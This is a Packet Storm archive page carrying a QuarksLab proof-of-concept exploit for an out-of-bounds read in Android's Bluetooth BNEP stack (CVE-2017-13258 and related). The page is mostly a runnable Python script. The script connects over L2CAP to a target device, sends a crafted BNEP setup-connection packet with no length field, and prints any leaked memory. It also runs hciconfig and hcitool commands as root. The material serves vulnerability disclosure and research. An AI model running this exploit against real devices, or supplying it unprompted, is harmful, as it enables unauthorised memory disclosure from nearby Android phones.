Twenty Year Anniversary

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read
Posted Mar 23, 2018
Authored by QuarksLab

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG out-of-bounds read proof of concept vulnerability.

tags | exploit, proof of concept
advisories | CVE-2017-13258, CVE-2017-13260, CVE-2017-13261, CVE-2017-13262
MD5 | f0f7ffa65e40262314d35ff3327714bd

Android Bluetooth BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-Of-Bounds Read

Change Mirror Download
import os
import sys
import struct

import bluetooth


BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01

# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01


def oob_read(src_bdaddr, dst):

bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."

# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from out of bounds
bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''

if data:
print '%r' % data
else:
print '[No data]'

print 'Closing connection.'
bnep.close()


def main(src_hci, dst):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))

oob_read(src_hci, dst)


if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    3 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    18 Files
  • 6
    Sep 6th
    18 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    2 Files
  • 9
    Sep 9th
    2 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    17 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    29 Files
  • 14
    Sep 14th
    21 Files
  • 15
    Sep 15th
    3 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    16 Files
  • 19
    Sep 19th
    29 Files
  • 20
    Sep 20th
    18 Files
  • 21
    Sep 21st
    5 Files
  • 22
    Sep 22nd
    2 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close